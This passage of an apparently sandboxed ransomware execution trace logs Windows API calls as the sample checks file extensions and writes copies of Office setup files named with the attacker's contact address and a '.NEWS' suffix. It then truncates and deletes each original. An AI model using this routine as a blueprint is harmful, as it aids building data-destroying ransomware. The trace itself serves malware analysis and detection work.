lpString2=".XML") returned 1 [0058.995] lstrlenW (lpString=".rar") returned 4 [0058.995] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0058.995] lstrlenW (lpString=".bz2") returned 4 [0058.995] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0058.995] lstrlenW (lpString=".7z") returned 3 [0058.995] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0058.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.995] lstrlenW (lpString=".dbf") returned 4 [0058.995] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0058.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.995] lstrlenW (lpString=".1cd") returned 4 [0058.996] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0058.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.996] lstrlenW (lpString=".jpg") returned 4 [0058.996] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0058.996] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0058.996] lstrlenW (lpString="SETUP.XML") returned 9 [0058.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0059.004] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=4207) returned 1 [0059.005] CloseHandle (hObject=0x210) returned 1 [0059.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0059.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0059.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0059.005] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.005] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0059.006] GetLastError () returned 0x0 [0059.006] ReadFile (in: hFile=0x210, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x106f, lpOverlapped=0x0) returned 1 [0059.009] WriteFile (in: hFile=0x218, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0059.011] ReadFile (in: hFile=0x210, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.011] WriteFile (in: hFile=0x218, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0059.011] SetEndOfFile (hFile=0x218) returned 1 [0059.011] CloseHandle (hObject=0x218) returned 1 [0059.012] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.013] SetEndOfFile (hFile=0x210) returned 1 [0059.015] CloseHandle (hObject=0x210) returned 1 [0059.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0059.015] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0059.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.016] lstrlenW (lpString=".doc") returned 4 [0059.016] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.016] lstrlenW (lpString=".docx") returned 5 [0059.016] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0059.016] lstrlenW (lpString=".pdf") returned 4 [0059.016] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.016] lstrlenW (lpString=".xls") returned 4 [0059.016] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.016] lstrlenW (lpString=".xlsx") returned 5 [0059.016] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0059.016] lstrlenW (lpString=".ppt") returned 4 [0059.016] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.017] lstrlenW (lpString=".zip") returned 4 [0059.017] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.017] lstrlenW (lpString=".rar") returned 4 [0059.017] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.017] lstrlenW (lpString=".bz2") returned 4 [0059.017] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.017] lstrlenW (lpString=".7z") returned 3 [0059.017] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.017] lstrlenW (lpString=".dbf") returned 4 [0059.017] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.017] lstrlenW (lpString=".1cd") returned 4 [0059.017] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.017] lstrlenW (lpString=".jpg") returned 4 [0059.017] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.018] lstrlenW (lpString=".doc") returned 4 [0059.018] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.018] lstrlenW (lpString=".docx") returned 5 [0059.018] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0059.018] lstrlenW (lpString=".pdf") returned 4 [0059.018] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.018] lstrlenW (lpString=".xls") returned 4 [0059.018] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.018] lstrlenW (lpString=".xlsx") returned 5 [0059.018] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0059.018] lstrlenW (lpString=".ppt") returned 4 [0059.018] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.018] lstrlenW (lpString=".zip") returned 4 [0059.018] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.018] lstrlenW (lpString=".rar") returned 4 [0059.018] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.018] lstrlenW (lpString=".bz2") returned 4 [0059.018] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.019] lstrlenW (lpString=".7z") returned 3 [0059.019] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.019] lstrlenW (lpString=".dbf") returned 4 [0059.019] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.019] lstrlenW (lpString=".1cd") returned 4 [0059.019] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0059.019] lstrlenW (lpString=".jpg") returned 4 [0059.019] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.019] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0059.019] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0059.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0059.020] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1450) returned 1 [0059.020] CloseHandle (hObject=0x210) returned 1 [0059.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0059.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0059.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0059.021] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.021] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0059.024] GetLastError () returned 0x0 [0059.024] ReadFile (in: hFile=0x210, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0059.551] WriteFile (in: hFile=0x218, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0059.553] ReadFile (in: hFile=0x210, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.553] WriteFile (in: hFile=0x218, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0059.553] SetEndOfFile (hFile=0x218) returned 1 [0059.553] CloseHandle (hObject=0x218) returned 1 [0059.554] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.554] SetEndOfFile (hFile=0x210) returned 1 [0059.555] CloseHandle (hObject=0x210) returned 1 [0059.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0059.556] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0059.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.556] lstrlenW (lpString=".doc") returned 4 [0059.556] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.556] lstrlenW (lpString=".docx") returned 5 [0059.556] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0059.556] lstrlenW (lpString=".pdf") returned 4 [0059.556] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.557] lstrlenW (lpString=".xls") returned 4 [0059.557] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.557] lstrlenW (lpString=".xlsx") returned 5 [0059.557] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0059.557] lstrlenW (lpString=".ppt") returned 4 [0059.557] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.557] lstrlenW (lpString=".zip") returned 4 [0059.557] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.557] lstrlenW (lpString=".rar") returned 4 [0059.557] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.557] lstrlenW (lpString=".bz2") returned 4 [0059.557] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.557] lstrlenW (lpString=".7z") returned 3 [0059.557] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.557] lstrlenW (lpString=".dbf") returned 4 [0059.557] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.557] lstrlenW (lpString=".1cd") returned 4 [0059.557] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.558] lstrlenW (lpString=".jpg") returned 4 [0059.558] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.558] lstrlenW (lpString=".doc") returned 4 [0059.558] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.558] lstrlenW (lpString=".docx") returned 5 [0059.558] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0059.558] lstrlenW (lpString=".pdf") returned 4 [0059.558] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.558] lstrlenW (lpString=".xls") returned 4 [0059.558] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.558] lstrlenW (lpString=".xlsx") returned 5 [0059.558] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0059.558] lstrlenW (lpString=".ppt") returned 4 [0059.558] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.558] lstrlenW (lpString=".zip") returned 4 [0059.558] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.558] lstrlenW (lpString=".rar") returned 4 [0059.558] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.559] lstrlenW (lpString=".bz2") returned 4 [0059.559] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.559] lstrlenW (lpString=".7z") returned 3 [0059.559] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.559] lstrlenW (lpString=".dbf") returned 4 [0059.559] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.559] lstrlenW (lpString=".1cd") returned 4 [0059.559] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0059.559] lstrlenW (lpString=".jpg") returned 4 [0059.559] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.559] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0059.559] lstrlenW (lpString="SETUP.XML") returned 9 [0059.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0060.024] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1872) returned 1 [0060.025] CloseHandle (hObject=0x1e4) returned 1 [0060.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0060.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0060.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0060.025] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.025] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0060.026] GetLastError () returned 0x0 [0060.026] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x750, lpOverlapped=0x0) returned 1 [0060.332] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x760, lpOverlapped=0x0) returned 1 [0060.333] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.333] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.334] SetEndOfFile (hFile=0x1f4) returned 1 [0060.334] CloseHandle (hObject=0x1f4) returned 1 [0060.335] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.335] SetEndOfFile (hFile=0x1e4) returned 1 [0060.337] CloseHandle (hObject=0x1e4) returned 1 [0060.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0060.338] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0060.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.339] lstrlenW (lpString=".doc") returned 4 [0060.339] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.339] lstrlenW (lpString=".docx") returned 5 [0060.339] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0060.339] lstrlenW (lpString=".pdf") returned 4 [0060.339] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.339] lstrlenW (lpString=".xls") returned 4 [0060.339] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.339] lstrlenW (lpString=".xlsx") returned 5 [0060.339] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0060.339] lstrlenW (lpString=".ppt") returned 4 [0060.339] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.340] lstrlenW (lpString=".zip") returned 4 [0060.340] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.340] lstrlenW (lpString=".rar") returned 4 [0060.340] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.340] lstrlenW (lpString=".bz2") returned 4 [0060.340] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.340] lstrlenW (lpString=".7z") returned 3 [0060.340] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.340] lstrlenW (lpString=".dbf") returned 4 [0060.340] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.340] lstrlenW (lpString=".1cd") returned 4 [0060.340] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.340] lstrlenW 